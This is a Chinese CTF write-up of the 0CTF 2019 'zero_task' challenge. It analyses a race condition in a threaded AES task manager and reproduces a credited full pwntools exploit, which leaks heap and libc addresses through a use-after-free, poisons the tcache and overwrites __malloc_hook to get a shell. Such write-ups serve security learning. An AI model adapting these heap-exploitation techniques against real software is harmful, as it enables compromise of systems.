條件競爭利用初體驗---2019-0ctf-zero_task

iddm發表於2019-06-06

2019-0ctf-zero_task

前言

幾個月前的一道題目,最近由於某些巧合又拿出來復現了一遍,這是我第一次接觸條件競爭型別的題目,分享給大家。
當初這道題目磕了好久,結果被隊友大佬做出來了,賽後看了看各位師傅的exp學到了很多東西,其中姿勢比較騷的就是raycp師傅的wp了,下面分析的也是raycp師傅的exp。

前置知識

這道題目是2019-0ctf題目當中最簡單也是分數最低的一道題目,是很正常的node形式的題目,唯一有點特別的就是對於資料的處理呼叫了openssl中的關於AES加解密的函式,加解密步驟如下:

	unsigned char key[32] = {1};
    unsigned char iv[16] = {0};
    unsigned char *inStr = "this is test string";
    int inLen = strlen(inStr);
    int encLen = 0;
    int outlen = 0;
    unsigned char encData[1024];
    
    printf("source: %s\n",inStr);
    
    //加密
    EVP_CIPHER_CTX *ctx;
    ctx = EVP_CIPHER_CTX_new();
    
    EVP_CipherInit_ex(ctx, EVP_aes_256_ecb(), NULL, key, iv, 1);
    EVP_CipherUpdate(ctx, encData, &outlen, inStr, inLen);
    encLen = outlen;
    EVP_CipherFinal(ctx, encData+outlen, &outlen);
    encLen += outlen;
    EVP_CIPHER_CTX_free(ctx);
    
    
    //解密
    int decLen = 0;
    outlen = 0;
    unsigned char decData[1024];
    EVP_CIPHER_CTX *ctx2;
    ctx2 = EVP_CIPHER_CTX_new();
    EVP_CipherInit_ex(ctx2, EVP_aes_256_ecb(), NULL, key, iv, 0);
    EVP_CipherUpdate(ctx2, decData, &outlen, encData, encLen);
    decLen = outlen;
    EVP_CipherFinal(ctx2, decData+outlen, &outlen);
    decLen += outlen;
    EVP_CIPHER_CTX_free(ctx2);
    
    decData[decLen] = '\0';
    printf("decrypt: %s\n",decData);

參考:https://www.cnblogs.com/cocoajin/p/6121706.html

程式邏輯

開啟程式的選單函式,看到函式的基本功能如下:

  puts("1. Add task");
  puts("2. Delete task");
  puts("3. Go");
  return printf("Choice: ");

只有三個主要功能,增加節點,刪除節點,Go的功能是根據節點的特徵值對於節點中的資料進行加解密操作。

add

  printf("Task id : ", 0LL);
  id = get_input();
  printf("Encrypt(1) / Decrypt(2): ");//有加解密兩種模式
  v1 = get_input();
  if ( v1 != 1 && v1 != 2 )
    return (void *)0xFFFFFFFFLL;
  s = malloc(0x70uLL); // node空間的大小為0x70
  memset(s, 0, 0x70uLL);
  if ( !(unsigned int)sub_11A8(v1, (__int64)s) ) //功能函式
    return (void *)0xFFFFFFFFLL;
  *((_DWORD *)s + 24) = id; // offset = 0x60
  *((_QWORD *)s + 13) = node_202028;  // offset = 0x68
  result = s;
  node_202028 = (__int64)s;//將新建立的節點放在bss段裡面,很明瞭,這道題目是通過連結串列維護node節點。

跟進sub_11A8()功能函式,進一步分析功能函式的主要功能。

  printf("Key : ", a2);
  read_F82(v4 + 20, 32);//KEY_offset = 0x14  
  printf("IV : ", 32LL);
  read_F82(v4 + 52, 16);//IV_offset = 0x34
  printf("Data Size : ", 16LL);
  size = (unsigned int)get_input();
  if ( (signed int)size <= 0 || (signed int)size > 4096 )
    return 0LL;
  *(_QWORD *)(v4 + 8) = (signed int)size;// size_offset = 0x8
  *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new(); //ctx_offset = 0x58
  if ( a1 == 1 )
  {
    v3 = EVP_aes_256_cbc();
    EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  else
  {
    if ( a1 != 2 )
      return 0LL;
    v3 = EVP_aes_256_cbc();
    EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  *(_DWORD *)(v4 + 16) = a1;//mark_offset = 0x10  判斷是加密還是解密
  *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));//chunk_offset = 0x0 , 分配一個size大小的空間儲存資料
  if ( !*(_QWORD *)v4 )
    exit(1);
  printf("Data : ", v3);
  read_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8));
  return 1LL;

Yeah,通過上面的分析,程式結構現在已經可以被我們弄清楚了,如下:

node_struct
{
	0x0 : chunk
	0x8 : size
	0x10 : mark 標誌位,記錄加密/解密
	0x14 : KEY
	0x34 : IV
	0x58 : ctx
	0x60 : task_id
	0x68 : pre_node
}

在add的過程當中會進行四次malloc過程:

結構體malloc(0x70): 0x80

EVP_CIPHER_CTX_new(): 建立ctx物件0xb0大小chunk

EVP_EncryptInit_ex/EVP_DecryptInit_ex函式: 建立0x110大小chunk

根據輸入的chunk size的chunk

delete

程式邏輯比較清楚,就是單純的對node連結串列解鏈,然後利用openssl介面對於申請的chunk進行釋放。

  
  ptr = (void **)node_202028;
  v2 = node_202028;
  printf("Task id : ");
  v0 = get_input();
  if ( node_202028 && v0 == *(_DWORD *)(node_202028 + 96) )
  {
    node_202028 = *(_QWORD *)(node_202028 + 104); // 解鏈
    EVP_CIPHER_CTX_free((__int64)ptr[11]);//呼叫openssl介面釋放chunk
    free(*ptr);
    free(ptr);
  }
  else
  {
    while ( ptr )
    {
      if ( v0 == *((_DWORD *)ptr + 24) )
      {
        *(_QWORD *)(v2 + 104) = ptr[13]; // 解鏈
        EVP_CIPHER_CTX_free((__int64)ptr[11]); //呼叫openssl介面釋放chunk
        free(*ptr);
        free(ptr);
        return;
      }
      v2 = (__int64)ptr;
      ptr = (void **)ptr[13];
    }
  }
}

GO

這個函式是解題的關鍵函式。

我當初做這道題目的時候並不瞭解條件競爭題目的解法,一直苦苦思索好久而不得解,最後被同隊大佬解出。

  int v1; // [rsp+4h] [rbp-1Ch]
  pthread_t newthread; // [rsp+8h] [rbp-18h]
  void *arg; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Task id : ");
  v1 = get_input();
  for ( arg = (void *)node_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
  {
    if ( v1 == *((_DWORD *)arg + 24) )
    {
      pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);//開闢新執行緒
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;

進到start_routine裡面分析程式邏輯

  v5 = __readfsqword(0x28u);
  v2 = (unsigned __int64)a1;
  v1 = 0;
  v3 = 0LL;
  v4 = 0LL;
  puts("Prepare...");
  sleep(2u);  // 這就是程式的關鍵所在,sleep 2s中足夠造成條件競爭,進而引起資料的混亂
  memset(qword_202030, 0, 0x1010uLL);
  if ( !(unsigned int)EVP_CipherUpdate(
                        *(_QWORD *)(v2 + 88),
                        (__int64)qword_202030,
                        (__int64)&v1,
                        *(_QWORD *)v2,
                        (unsigned int)*(_QWORD *)(v2 + 8)) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  puts("Ciphertext: ");
  sub_107B(stdout, (__int64)qword_202030, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);//列印加密/解密 後的資料
  pthread_exit(0LL);

程式結構測試

這道題目malloc、free chunk的過程有點特殊,實際測試一下malloc、free的過程,確定一下過程細節,再加深一下資料結構理解。

測試程式碼如下:

    def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False):
		if not go_flag:
			ru('3. Go')
		sl('1')
		ru('id : ')
		sl(str(idx))
		ru('(2): ')
		sl(str(way))
		ru('Key : ')
		s(key)
		ru('IV : ')
		s(IV)
		ru('Size : ')
		sl(str(size))
		ru('Data : ')
		s(data)

	def delete(idx,go_flag=False):
		if not go_flag:
			ru('3. Go')
		sl('2')
		ru('id : ')
		sl(str(idx))

	add(0,1,size=0x10,data='a'*0x10)
	add(1,1,size=0x10,data='a'*0x10)

	delete(0)

	ru('ice:')
	sl('3')
	ru('id :')
	sl('1')

測試過程就是新增兩個node,然後釋放一個,然後加密一個。

程式剛開始的heap資訊如下:

pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x251,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555757250 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1021,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555758270 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1fd91,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}

增添一個節點,增加了四個chunk,和我們的分析是吻合的。

pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x251,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555757250 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1021,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555758270 FASTBIN {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x81,
  fd = 0x5555557584c0,
  bk = 0x10,
  fd_nextsize = 0x3131313100000001,
  bk_nextsize = 0x3131313131313131,
}
0x5555557582f0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0xb1,
  fd = 0x7ffff7b98620,
  bk = 0x0,
  fd_nextsize = 0x1,
  bk_nextsize = 0x6161616161616161,
}
0x5555557583a0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x111,
  fd = 0x3131313131313131,
  bk = 0x3131313131313131,
  fd_nextsize = 0x3131313131313131,
  bk_nextsize = 0x3131313131313131,
}
0x5555557584b0 FASTBIN {
  mchunk_prev_size = 0x7ffff78126c0,
  mchunk_size = 0x21,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x0,
  bk_nextsize = 0x1fb31,
}
0x5555557584d0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1fb31,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}

檢視node_chunk詳細資訊,和我們分析的資料結構是吻合的。

0x555555758270:	0x0000000000000000	0x0000000000000081
0x555555758280:	0x00005555557584c0	0x0000000000000010
0x555555758290:	0x3131313100000001	0x3131313131313131
0x5555557582a0:	0x3131313131313131	0x3131313131313131
0x5555557582b0:	0x6161616131313131	0x6161616161616161
0x5555557582c0:	0x0000000061616161	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000555555758300
0x5555557582e0:	0x0000000000000000	0x0000000000000000

delete的時候,同時釋放四個chunk。

pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  1]: 0x555555758280 ◂— 0x0
0xb0 [  1]: 0x555555758300 ◂— 0x0
0x110 [  1]: 0x5555557583b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

進行加解密操時,將操作結果放在指定的最開始申請的chunk中。

利用過程

說明

除錯的exp來自raycp師傅,程式碼很詳盡每一步都有註釋,師傅部落格:https://ray-cp.github.io/

利用流程

1. 剛開始構造幾個node,為我們後面利用做準備。
    #gdb.attach(p,'b * 0x555555555724')
    add(9999,1,size=0x10,data='a'*0x10) #use to get shell.
    add(999,1,size=0x10,data='a'*0x10)  #enc_struct to build fake enc
    #debug(0x1253)
    add(99,2,size=0x10,data='a'*0x10)   #dec_struct to build fake dec
2. 利用條件競爭洩露heap地址
    ## step 1 leak heap address
    add(0,1,size=0x70,data='a'*0x70)
    add(1,1,size=0x20,data='a'*0x20) #8c50
    add(2,1,size=0x70,data='a'*0x70)
    #gdb.attach(p,'b * 0x555555555724')
    
    delete(0)
    go(1) # 觸發條件競爭
    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)   # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, 1 chunk with size 0x110 for aes algorithm

    #gdb.attach(p,'b * 0x555555555724')
    ### leak
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    #print data
         
    d = pc.decrypt(data)                     
    heap_addr=u64(d[:8])
    #print hex(heap_addr)
    heap_base=heap_addr-0x1be0
    enc_struct_addr=heap_base+0x1300
    dec_struct_addr=heap_base+0x17c0
    print "heap_base",hex(heap_base)

程式碼中利用go(1)開啟新執行緒,進入sleep(2)的等待,在這個等待期間進行了如下操作,

    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)

此時bins中的結構如下:

tcachebins
0x80 [  3]: 0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0 ◂— 0x0
0xb0 [  1]: 0x555555758a20 ◂— 0x0
0x110 [  1]: 0x555555758ad0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

將要進行加密操作的node節點的地址為0x58c60,現在經過經過操作後,按照加密邏輯,將要被加密並且輸出的是0x555555758be0(0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0),所以我們可以通過接收字串,利用相同的KEY、IV進行解密,得到heap資訊。

後面就是清空bins連結串列

    ### do some thing clean the tcache list
    add(6,1,size=0x70,data='a'*0x70,go_flag=True)
    add(7,1,size=0x70,data='a'*0x70)
3. 洩露libc
    ## step 2 uaf to leak libc address.

    ### first free chunk to unsorted bin chunk to get libc address.
    for i in range(0,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    #debug(0x1253)
    add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address
    
    leak_libc_heap=heap_base+0x3b10
    add(201,1,size=0x30,data='a'*0x30) # 
    for i in range(0,7):
        delete(100+i)
    
    ### malloc out one chunk with size of 0x80
    add(201,1,size=0x70,data='a'*0x70)
    
    gdb.attach(p,'b * 0x555555555724')
    ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0 觸發條件競爭
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
         		 fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc   控制0xa8c0的結構
    
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    print data
         
    d = pc.decrypt(data)                     
    libc_addr=u64(d[:8])
    #print hex(libc_addr)
    libc_base=libc_addr-0x3ebca0
    print "libc_base",hex(libc_base)
    rce=libc_base+0x10a38c 
    malloc_hook=libc_base+libc.symbols['__malloc_hook']

洩露libc的步驟就是填滿tcache,然後釋放chunk到unsorted bin中,然後利用uaf偽造chunk內容,列印libc的資訊。

主要來看一下下面幾個關鍵步驟。

### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0 觸發條件競爭
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
         		 fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc   控制0xa8c0的結構

首先利用觸發條件競爭,這個node對應的addr為0xa8c0。

然後下面幾步操作控制0xa8c0的內容,使其列印unsortedbin中含有的libc資訊,進行完最後的add操作時,0xa8c0的內容如下。

pwndbg> x/40xg 0x55555575a8c0
0x55555575a8c0:	0x0000000000000000	0x0000000000000081
0x55555575a8d0:	0x000055555575ab10	0x0000000000000010
0x55555575a8e0:	0x3131313100000001	0x3131313131313131
0x55555575a8f0:	0x3131313131313131	0x3131313131313131
0x55555575a900:	0x6161616131313131	0x6161616161616161
0x55555575a910:	0x0000000061616161	0x0000000000000000
0x55555575a920:	0x0000000000000000	0x0000555555758300
0x55555575a930:	0x000000000000000b	0x0000000000000000
0x55555575a940:	0x0000000000000000	0x00000000000000b1
0x55555575a950:	0x00007ffff7b98620	0x0000000000000000
  
pwndbg> x/4xg 0x000055555575ab00
0x55555575ab00:	0x00007ffff78126c0	0x0000000000000091
0x55555575ab10:	0x00007ffff776dca0	0x000055555575a670

libc_version:2.27
arch:64
tcache_enable:True
libc_base:0x7ffff7382000
heap_base:0x555555757000
(0x80)    fastbins[6] -> 0x55555575a5f0 


(0x80)    entries[6] -> 0x55555575a060 -> 0x555555759d90 -> 0x555555759ac0 -> 0x5555557597f0 -> 0x555555759520 
(0x90)    entries[7] -> 0x55555575a840 -> 0x55555575a570 -> 0x55555575a2a0 -> 0x555555759fd0 -> 0x555555759d00 -> 0x555555759a30 -> 0x555555759760 
(0xb0)    entries[9] -> 0x55555575a3b0 -> 0x55555575a0e0 -> 0x555555759e10 -> 0x555555759b40 -> 0x555555759870 -> 0x5555557595a0 
(0x110)    entries[15] -> 0x55555575a460 -> 0x55555575a190 -> 0x555555759ec0 -> 0x555555759bf0 -> 0x555555759920 -> 0x555555759650 
top: 0x55555575ae10
last_remainder: 0x0
unsortedbins: <-> 0x55555575ab00 <-> 0x55555575a670     

如上便可以將libc的資訊洩露出來。

4. 複寫malloc_hook
    ## step uaf to write a fastbin chunk
    
    ### do some thing to clean the tcache
    add(100+0,1,size=0x80,data='a'*0x80,go_flag=True)
    for i in range(1,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    
    gdb.attach(p,'b * 0x555555555724')
    payload=p64(malloc_hook)*4
    payload=pc.encrypt(payload)
    payload=payload.decode('hex')
    
    #debug(0x12f5)
    payload_addr=heap_base+0x4180  # 0xb180
    add(1000,1,size=0x1000,data=payload*(0x1000/len(payload)))
    add(300,1,size=0x30,data='a'*0x30)
    add(301,1,size=0x70,data='a'*0x70)
    #debug(0x14f3)
    delete(9999)  # free the evil
    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300)
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)
    
    sleep(2)
    #debug(0x12f5)
    #haha ,overwrite the malloc_hook to rce
    add(500,1,size=0x70,data=data)

上述程式碼中比較關鍵的部分就是下面這些

    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300)
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)

執行截止到後,bins連結串列如下

pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  3]: 0x55555575c650 —▸ 0x55555575c190 —▸ 0x555555758280 ◂— 0x0
0xb0 [  2]: 0x55555575c210 —▸ 0x555555758300 ◂— 0x0
0x110 [  2]: 0x55555575c2c0 —▸ 0x5555557583b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

可以看出,下次add()的時候就可以控制0xc180的內容,即之前go(300)的對應的node的內容。

add()之後,控制的node結構如下:

pwndbg> x/50xg 0x55555575c180
0x55555575c180:	0x0000000000000000	0x0000000000000081
0x55555575c190:	0x000055555575b150	0x0000000000001030
0x55555575c1a0:	0x3131313100000001	0x3131313131313131
0x55555575c1b0:	0x3131313131313131	0x3131313131313131
0x55555575c1c0:	0x6161616131313131	0x6161616161616161
0x55555575c1d0:	0x0000000061616161	0x0000000000000000
0x55555575c1e0:	0x0000000000000000	0x00005555557587c0
0x55555575c1f0:	0x000000000000000b	0x0000000000000000
0x55555575c200:	0x0000000000000000	0x00000000000000b1

可以看到,現在我們已經把data_size寫成0x1030個位元組,因為儲存加密/解密資料的chunk之後0x1020個位元組,因此可以造成資料溢位,因為是tcache結構,所以我們可以構造tcache_attack。

最終效果如下:

pwndbg> x/20xg 0x0000555555758250
0x555555758250:	0xeabbc1f8a364c83c	0xfe36a77585673855
0x555555758260:	0x00007ffff776dc30	0x00007ffff776dc30
0x555555758270:	0xeabbc1f8a364c83c	0xfe36a77585673855
0x555555758280:	0x00007ffff776dc30	0x00007ffff776dc30
0x555555758290:	0x3131313100000001	0x3131313131313131
0x5555557582a0:	0x3131313131313131	0x3131313131313131
0x5555557582b0:	0x6161616131313131	0x6161616161616161
0x5555557582c0:	0x0000000061616161	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000555555758300
0x5555557582e0:	0x000000000000270f	0x0000000000000000
pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  1]: 0x555555758280 —▸ 0x7ffff776dc30 (__malloc_hook) ◂— 0x0
0xb0 [  1]: 0x555555758300 ◂— 0x0
0x110 [  1]: 0x5555557583b0 ◂— 0x0

下面就簡單了 , 簡單的tcache_attack,複寫__malloc_hook最終觸發malloc,get shell。

完整exp
#author : raycp
#link:    https://ray-cp.github.io/

from pwn import *
import sys
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
DEBUG = 1
if DEBUG:
     p = process('./zero_task')
     e = ELF('./zero_task')
     context.log_level = 'debug'
     #libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')b0verfl0w
     libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
     #p = process(['./reader'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc-2.19.so')})
     #libc = ELF('./libc64.so')
     
     
else:
     p = remote('111.186.63.201', 10001)
     libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
     #libc = ELF('libc_64.so.6')

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
   with open('/proc/%s/mem' % mypid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps:
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def debug(addr):
    global mypid
    mypid = proc.pidof(p)[0]
    #raw_input('debug:')
    
    with open('/proc/%s/mem' % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        print "program_base",hex(moduleBase)
        gdb.attach(p, "set follow-fork-mode child\nb *" + hex(moduleBase+addr))

class prpcrypt():
    def __init__(self, key,iv):
        self.key = key
        self.mode = AES.MODE_CBC
        self.iv = iv
     
    
    def encrypt(self, text):
        cryptor = AES.new(self.key, self.mode, self.iv)
        length = 32
        count = len(text)
        if(count % length != 0) :
                add = length - (count % length)
        else:
            add = 0
        text = text + ('\0' * add)
        self.ciphertext = cryptor.encrypt(text)
        return b2a_hex(self.ciphertext)
     
    
    def decrypt(self, text):
        cryptor = AES.new(self.key, self.mode, self.iv)
        plain_text = cryptor.decrypt(a2b_hex(text))
        return plain_text.rstrip('\0')
 

def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False):
    if not go_flag:
        p.recvuntil('3. Go')
    p.sendline('1')
    p.recvuntil('id : ')
    p.sendline(str(idx))
    p.recvuntil('(2): ')
    p.sendline(str(way))
    p.recvuntil('Key : ')
    p.send(key)
    p.recvuntil('IV : ')
    p.send(IV)
    p.recvuntil('Size : ')
    p.sendline(str(size))
    p.recvuntil('Data : ')
    p.send(data)

def delete(idx,go_flag=False):
    if not go_flag:
        p.recvuntil('3. Go')
    p.sendline('2')
    p.recvuntil('id : ')
    p.sendline(str(idx))
def delete1(idx):
    #p.recvuntil('3. Go')
    p.sendline('2')
    p.recvuntil('id : ')
    p.sendline(str(idx))
def go(idx):
    p.recvuntil('3. Go')
    p.sendline('3')
    p.recvuntil('id : ')
    p.sendline(str(idx))

def pwn():
    pc = prpcrypt('1'*0x20,'a'*0x10) #aes algrithom
    
    #gdb.attach(p,'b * 0x555555555724')
    add(9999,1,size=0x10,data='a'*0x10) #use to get shell.
    add(999,1,size=0x10,data='a'*0x10)  #enc_struct to build fake enc
    #debug(0x1253)
    add(99,2,size=0x10,data='a'*0x10)   #dec_struct to build fake dec

    ## step 1 leak heap address
    add(0,1,size=0x70,data='a'*0x70)
    add(1,1,size=0x20,data='a'*0x20) #8c50
    add(2,1,size=0x70,data='a'*0x70)
    #gdb.attach(p,'b * 0x555555555724')
    
    delete(0)
    go(1)
    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)   # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, i don't know somehow there is one more chunk with size 0x110, maybe for aes algorithm

    #gdb.attach(p,'b * 0x555555555724')
    ### leak
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    #print data
         
    d = pc.decrypt(data)                     
    heap_addr=u64(d[:8])
    #print hex(heap_addr)
    heap_base=heap_addr-0x1be0
    enc_struct_addr=heap_base+0x1300
    dec_struct_addr=heap_base+0x17c0
    print "heap_base",hex(heap_base)
    
    ### do some thing clean the tcache list
    add(6,1,size=0x70,data='a'*0x70,go_flag=True)
    add(7,1,size=0x70,data='a'*0x70)

    ## step 2 uaf to leak libc address.

    ### first free chunk to unsorted bin chunk to get libc address.
    for i in range(0,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    #debug(0x1253)
    add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address
    
    leak_libc_heap=heap_base+0x3b10
    add(201,1,size=0x30,data='a'*0x30) # 
    for i in range(0,7):
        delete(100+i)
    
    ### malloc out one chunk with size of 0x80
    add(201,1,size=0x70,data='a'*0x70)
    
    #gdb.attach(p,'b * 0x555555555724')
    ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
    fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc
    
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    print data
         
    d = pc.decrypt(data)                     
    libc_addr=u64(d[:8])
    #print hex(libc_addr)
    libc_base=libc_addr-0x3ebca0
    print "libc_base",hex(libc_base)
    rce=libc_base+0x10a38c 
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    ## step uaf to write a fastbin chunk
    
    ### do some thing to clean the tcache
    add(100+0,1,size=0x80,data='a'*0x80,go_flag=True)
    for i in range(1,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    
    #gdb.attach(p,'b * 0x555555555724')
    payload=p64(malloc_hook)*4
    payload=pc.encrypt(payload)
    payload=payload.decode('hex')
    
    #debug(0x12f5)
    payload_addr=heap_base+0x4180  # 0xb180
    add(1000,1,size=0x1000,data=payload*(0x1000/len(payload)))
    add(300,1,size=0x30,data='a'*0x30) # 0xc180
    add(301,1,size=0x70,data='a'*0x70) # 0xc400
    #debug(0x14f3)
    delete(9999)  # free the evil
    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300) #0xc180
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)
    
    #overflow at the aim_heap, to make tacache_attack
    sleep(2)
    gdb.attach(p,'b * 0x555555555724')
    #debug(0x12f5)
    #haha ,overwrite the malloc_hook to rce
    add(500,1,size=0x70,data=data)
    
    #trigger malloc
    p.recvuntil('3. Go')
    p.sendline('1')
    p.recvuntil('id : ')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline('1')
    
    p.interactive()
    

if __name__ == '__main__':
